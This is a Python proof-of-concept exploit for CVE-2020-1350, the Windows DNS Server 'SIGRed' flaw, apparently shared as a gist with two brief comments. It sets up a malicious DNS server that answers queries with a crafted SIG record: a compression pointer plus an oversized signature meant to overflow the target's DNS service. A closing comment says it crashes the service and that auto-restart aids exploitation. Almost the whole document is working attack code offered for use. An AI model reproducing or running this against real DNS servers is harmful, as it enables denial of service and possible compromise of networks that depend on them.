CVE-2020-1350.py

#!/usr/bin/env python3

"""cve-2020-1350.py: Windows DNS Server Vulnerability"""

__author__  = "@joaovarelas"
__date__    = "July, 2020"

import binascii,socket,struct

from dnslib import *
from dnslib.server import DNSServer,DNSHandler,BaseResolver,DNSLogger

class PassthroughDNSHandler(DNSHandler):

    def get_reply(self,data):
        host,port = self.server.resolver.address,self.server.resolver.port

        request = DNSRecord.parse(data)
        print("====================REQUEST====================")
        print("Received via [{}]\n".format(self.protocol))
        print(request)
        
        rid = request.header.id
        truncate = 1 if self.protocol == 'udp' else 0
        authority = 0 if self.protocol == 'udp' else 1
        
        header = DNSHeader(id=rid, qr=1, rd=1, ra=1, tc=truncate, auth=authority)    
        reply = DNSRecord(header=header, q=request.q)

        # pointer
        sig_name = b'\xc0\x0d'

        # data = RDATA | RR(s).. [RDATA 32 bytes]
        sig_tcp = b'\x00' * 32 + b'\xff' * (65428) 
        sig_udp = b'\x41' * 31 + b'\x00'
        
        signature = sig_udp if self.protocol == 'udp' else sig_tcp 

        sig_len = len(signature)  
        
        print("=========================")
        print("Signature Length: {}".format(sig_len))
        

        # build SIG record
        rrsig = RRSIG(covered=0, algorithm=0, labels=0, orig_ttl=0,
                      sig_exp=1893456000, sig_inc=1577836800,
                      key_tag=0, name=sig_name, sig=signature)
        
        rr = RR(request.questions[0].qname, QTYPE.SIG, ttl=0, rdata=rrsig)
        reply.add_answer(rr)

                
        print("====================REPLY====================")
        print("Sent via [{}]\n".format(self.protocol))
        #print(reply)

        # craft the buffer manually
        buf = DNSBuffer()
        header.pack(buf)
        request.q.pack(buf)
        
        #rr.pack(buf)
        buf.encode_name(rr.rname)
        buf.pack("!HHI",rr.rtype,rr.rclass,rr.ttl)
        rdlength_ptr = buf.offset
        buf.pack("!H",0)
        start = buf.offset
        
        if rr.rtype == QTYPE.OPT:
            for opt in rr.rdata:
                opt.pack(buf)
        else:
            #rr.rdata.pack(buf) #RRSIG.pack()
            buf.pack("!HBBIIIH", rrsig.covered, rrsig.algorithm, rrsig.labels,
                     rrsig.orig_ttl, rrsig.sig_exp, rrsig.sig_inc, rrsig.key_tag)
            
            #buf.encode_name_nocompress(SIGNAME)
            buf.append(sig_name)
            buf.append(b'\x00')
            
            buf.append(signature)

            
        end = buf.offset
        buf.update(rdlength_ptr,"!H", end-start)
        
        #return reply.pack()
        return buf.data

    
    def handle(self):
        if self.server.socket_type == socket.SOCK_STREAM:
            self.protocol = 'tcp'
            data = self.request.recv(8192)
            if len(data) < 2:
                self.server.logger.log_error(self,"Request Truncated")
                return
            
            length = struct.unpack("!H",bytes(data[:2]))[0]
            
            while len(data) - 2 < length:
                new_data = self.request.recv(8192)
                if not new_data:
                    break
                
                data += new_data
                
            data = data[2:]
            
        else:
            self.protocol = 'udp'
            data,connection = self.request

        self.server.logger.log_recv(self,data)

        try:
            rdata = self.get_reply(data)
            self.server.logger.log_send(self,rdata)

            if self.protocol == 'tcp':
                rdatalen = len(rdata)
                rdata = struct.pack("!H",rdatalen) + rdata
                #rdata = struct.pack("!H", x) + rdata
                self.request.sendall(rdata)
            else:
                connection.sendto(rdata,self.client_address)

        except DNSError as e:
            print("EXCEPTION HANDLER")
            self.server.logger.log_error(self,e)
            



class ProxyResolver(BaseResolver):

    def __init__(self,address,port,timeout=0):
        self.address = address
        self.port = port
        self.timeout = timeout

    def resolve(self,request,handler):
        try:
            
            if handler.protocol == 'udp':
                proxy_r = request.send(self.address,self.port,
                                       timeout=self.timeout)
            else:
                proxy_r = request.send(self.address,self.port,
                                       tcp=True,timeout=self.timeout)
                
            reply = DNSRecord.parse(proxy_r)
            
        except socket.timeout:
            reply = request.reply()
            reply.header.rcode = getattr(RCODE,'NXDOMAIN')
            
        return reply
    

def send_tcp(data,host,port):
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((host,port))
    sock.sendall(data)
    response = sock.recv(8192)
    length = struct.unpack("!H",bytes(response[:2]))[0]
    while len(response) - 2 < length:
        response += sock.recv(8192)
        sock.close()
    return response

def send_udp(data,host,port):
    sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    sock.sendto(data,(host,port))
    response,server = sock.recvfrom(8192)
    sock.close()
    return response

if __name__ == '__main__':

    import argparse,sys,time

    p = argparse.ArgumentParser(description="DNS Proxy")
    p.add_argument("--port","-p",type=int,default=53,
                   metavar="<port>",
                   help="Local proxy port (default:53)")
    p.add_argument("--address","-a",default="",
                   metavar="<address>",
                   help="Local proxy listen address (default:all)")
    p.add_argument("--upstream","-u",default="8.8.8.8:53",
                   metavar="<dns server:port>",
                   help="Upstream DNS server:port (default:8.8.8.8:53)")
    p.add_argument("--tcp",action='store_true',default=False,
                   help="TCP proxy (default: UDP only)")
    p.add_argument("--timeout","-o",type=float,default=5,
                   metavar="<timeout>",
                   help="Upstream timeout (default: 5s)")
    p.add_argument("--passthrough",action='store_true',default=False,
                   help="Dont decode/re-encode request/response (default: off)")
    p.add_argument("--log",default="request,reply,truncated,error",
                   help="Log hooks to enable (default: +request,+reply,+truncated,+error,-recv,-send,-data)")
    p.add_argument("--log-prefix",action='store_true',default=False,
                   help="Log prefix (timestamp/handler/resolver) (default: False)")
    args = p.parse_args()

    args.dns,_,args.dns_port = args.upstream.partition(':')
    args.dns_port = int(args.dns_port or 53)

    print("Starting Proxy Resolver (%s:%d -> %s:%d) [%s]" % (
        args.address or "*",args.port,
        args.dns,args.dns_port,
        "UDP/TCP" if args.tcp else "UDP"))

    resolver = ProxyResolver(args.dns,args.dns_port,args.timeout)
    handler = PassthroughDNSHandler if args.passthrough else DNSHandler
    logger = DNSLogger(args.log,args.log_prefix)
    
    udp_server = DNSServer(resolver,
                           port=args.port,
                           address=args.address,
                           logger=logger,
                           handler=handler)
    
    udp_server.start_thread()

    if args.tcp:
        tcp_server = DNSServer(resolver,
                               port=args.port,
                               address=args.address,
                               tcp=True,
                               logger=logger,
                               handler=handler)
        
        tcp_server.start_thread()

    while udp_server.isAlive():
        time.sleep(1)

Does this exploit crashes the DNS server completely or just a thread?

@uzzzval I believe it crashes the DNS service completely. However, by default, it is restarted automatically after a while (also, as stated by CPResearch, which increases the exploitation realibility).